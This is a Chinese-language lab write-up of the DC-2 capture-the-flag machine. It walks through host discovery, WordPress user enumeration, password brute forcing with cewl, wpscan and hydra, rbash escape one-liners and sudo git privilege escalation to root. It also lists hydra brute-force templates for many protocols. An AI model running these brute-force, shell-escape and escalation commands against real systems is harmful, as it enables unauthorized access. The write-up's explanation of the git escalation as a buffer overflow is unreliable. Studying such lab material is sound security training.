DC-2
第一步:在网段下使用命令netdiscover去找主机ip
netdiscover:二层发现工具,拥有主动和被动发现两种方式
基本用法:
- -p 被动模式。默默的侦听指定的网卡以发现别的二层主机
- -t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
- -l file: 指定扫描范围列表文件
- -p passive mode: 使用被动扫描的方式,不发送任何数据
- -m file: 扫描已知 mac 地址和主机名的电脑列表
- -F filter: 指定 pcap 筛选器表达式(默认:“arp”)
- -s time: 每个 arp 请求之间的睡眠时间(毫秒)
- -n node: 使用八字节的形式扫描(2 - 253)
- -c count: 发送 arp 请求的时间次数
- -f: 使用主动模式的扫描
- -d: 忽略配置文件
- -S: 启用每个 arp 请求之间抑制的睡眠时间
- -P: 打印结果
- -N: 不打印头。只有启用- p时有效。
- -L: 将捕获的信息输出(-P),并继续进行扫描
过程
netdiscover -r 192.168.191.0 (设置扫描网段为192.168.191.0),好慢
sudo netdiscover -i eth0 -r 192.168.191.0/24(设置监听的网卡为eth0,设置监听的网段为192.168.191.0,好慢)
总之是发现了192.168.191.183这台主机 \( ̄︶ ̄*\))
第二步:使用nmap扫描ip的端口
nmap:太常用了不解释
(以后更新)
过程
确定靶机的ip是192.168.191.183
接下来发现开放了80端口和7744端口,根据端口信息,可以发现是一个wordpress界面。
知道靶机开放了80端口后,在浏览器输入ip进行访问,发现无法访问,需要设置hosts文件,之后在浏览器进行访问,界面显示如下,是一个wordpress的界面
第三步:使用cewl工具破解密码
cewl:通过爬行网站获取关键信息创建一个密码字典
命令如下:cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt (1.1.1.1可以是目标网站的ip地址,也可以是网址)
- -m:最小单词长度
- -d:爬网深度
- -e:收集包含emali地址信息
- -c:每个单词出现的次数
- 支持基本,摘要,身份验证,支持代理
过程
点击页面上的flag,发现了flag1,根据提示用到cewl破解密码。
百度查到wordpress的后台登录地址:wp-login.php
使用命令:curl -w dc2_password.txt http://dc-2/,将在指定的url中爬行,将结果输出为一个列表,用-w参数将爬行的结果输出。
第四步:使用wpscan工具扫描用户名
WPScan:扫描WordPress网站中本身漏洞、插件漏洞和主题漏洞,不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
常用选项
- --update 更新到最新版本
- --url -u 要扫描的`WordPress`站点.
- --force -f 不检查网站运行的是不是`WordPress`
- --enumerate -e [option(s)] 枚举
- u 枚举用户名,默认从1-10
- u[10-20] 枚举用户名,配置从10-20
- p 枚举插件
- vp 只枚举有漏洞的插件
- ap 枚举所有插件,时间较长
- tt 列举缩略图相关的文件
- t 枚举主题信息
- vt 只枚举存在漏洞的主题
- at 枚举所有主题,时间较长
- --exclude-content-based 当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹
- --config-file -c
- --user-agent -a
- --cookie
- --random-agent -r 使用随机User-Agent
- --follow-redirection 如果目标包含一个重定向,则直接跟随跳转
- --batch 无需用户交互,都使用默认行为
- --no-color 不要采用彩色输出
- --wp-content-dir
- --wp-plugins-dir
- --proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议
- --proxy-auth
- --basic-auth
- --wordlist -w
- --username -U
- --usernames path-to-file指定爆破用户名字典
- --threads -t
- --cache-ttl cache-ttl设置 cache TTL
- --request-timeout request-timeout请求超时时间
- --connect-timeout connect-timeout连接超时时间
- --max-threads max-threads最大线程数
- --throttle milliseconds当线程数设置为1时,设置两个请求之间的间隔
- --help -h 输出帮助信息
- --verbose -v 输出Verbose
- --version 输出当前版本
过程
wpscan其他功能试了一遍,没什么产出,也就爆破用户出了点结果。
获得用户名:admin,jerry,tom。接着用wpscan也可以爆破出用户名对应的密码:
cewl http://dc-2/ -w ~/dc2.txt
# 生成密码
wpscan --url http://dc-2 --passwords dc2.txt --usernames user.txt
# 爆破
第五步:hydra及cewl爬取的密码字典及自己的用户名字典进行暴力破解
hydra:hydra破解工具支持多种协议的登录密码
命令:
- -R 修复之前使用的aborted/crashed session
- -S 执行SSL(Secure Socket Layer)连接
- -s Port 使用非默认服务器端口而是其他端口时,指定其端口
- -l Login 已经获取登录ID的情况下输入登录ID
- -L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
- -p Pass 已经获取登录密码的情况下输入登录密码
- -P FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
- -x MIN:MAX:CHARSET 暴力破解时不指定文件,而生可以满足指定字符集和最短、最长长度条件的密码来尝试暴力破解
- -C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
- -M FILE指定实施并列攻击的文件服务器的目录文件
- -o FILE以STDOUT的形式输出结果值
- -f 查找到第一个可以使用的ID和密码的时候停止破解
- -t TASKS 指定并列连接数(默认值:16)
- -w 指定每个线程的回应时间(Waittime)(默认值:32秒)
- -4/6 指定IPv4/IPv6(默认值:IPv4)
- -v/-V 显示详细信息
- -U 查看服务器组件使用明细
- 破解ssh的密码:hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
- 破解https:hydra -m /index.php -l username -P pass.txt IP https
- 破解teamspeak:hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
- 破解cisco:hydra -P pass.txt IP cisco
- hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
- 破解smb:hydra -l administrator -P pass.txt IP smb
- 破解pop3:hydra -l muts -P pass.txt my.pop3.mail pop3
- 破解rdp:hydra IP rdp -l administrator -P pass.txt -V
- 破解http-proxy:hydra -l admin -P pass.txt http-proxy://10.36.16.18
- 破解telnet:hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
- 破解ftp:hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
- hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
- get方式提交,破解web登录:hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
- hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
- post方式提交,破解web登录:hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword
- hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
过程
hydra -L user.txt -P dc2.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
引号里面的数据格式解析:
- /wp-login.php: 代表请求目录
- : 分隔参数
- ^USER^和^PASS^:攻击载荷
- S:密码正确时返回应用的关键字符串
分别使用这两个用户名进行登录。成功后,后台界面管理中,找到了有个发布信息的地方,发现了flag和flag2,将flag2打开查看里面的信息,大致意思是如果无法利用wordpress,还有另一个切入点。(好惨,我手里的这个dc-2压根没有这一条hint)用tom登录,用vi命令可以看到flag3.txt
tom的权限不足,有很多的命令都被禁用了,看了一下提示,应该是要进行提权,提示先用jerry账号登录
输入exit退出tom,用jerry登录发现了flag4.txt
PS:rbash绕过做法
rbash(restricted bash)
,即受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,
绕过方法:
1.
vi test
:!/bin/sh
2.
ed
3.
ne
4.
more less
more test
!'sh'
5.
man ls
操作同more less
6.find
/usr/bin/find /etc/passwd -exec whoami \;
/usr/bin/find /etc/passwd -exec /bin/sh \;
7.nmap
低版本
8.
awk 'BEGIN {system("/bin/sh")}'
9.
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
10.
BASH_CMDS[a]=/bin/sh;a
export PATH = $PATH:/bin/
export PATH=$PATH:/usr/bin
第六步:git提权
命令原理是git存在缓冲区溢出漏洞,在使用以下命令时,不需要输入root密码即可以root权限执行这两条命令:
sudo git help config
!/bin/bash 或者 !'sh'完成提权
sudo git -p help
!/bin/bash
过程
根据flag4.txt文件信息,使用git提权。第一个方法成功。终于在/root里面得到最后的flag
参考
https://www.freebuf.com/articles/es/208918.html
https://www.freebuf.com/articles/web/244182.html
https://www.cnblogs.com/zaqzzz/p/12075132.html(Linux提权)
后记
什么是Wpscan
该扫描器可以实现获取Wordpress
站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress
站点暴力破解用户名密码。
使用参数
扫描WordPress漏洞:wpscan --url http://www.xxxxx.top/
扫描主题:wpscan --url http://www.xxxxx.top/ --enumerate t
扫描主题中的漏洞:wpscan --url http://www.xxxxx.top/ --enumerate vt
扫描插件漏洞:wpscan --url https://adywhisper.com/ --enumerate p
扫描插件中的漏洞:wpscan --url http://www.xxxxx.top/ --enumerate vp
暴力破解:wpscan --url https://www.xxxxx.top/ -e u --wordlist /root/桌面/password.txt
参考:https://www.freebuf.com/sectool/174663.html,根据参考可以结合msf进一步st但是没欸有找到合适的站点验证(⌐■_■)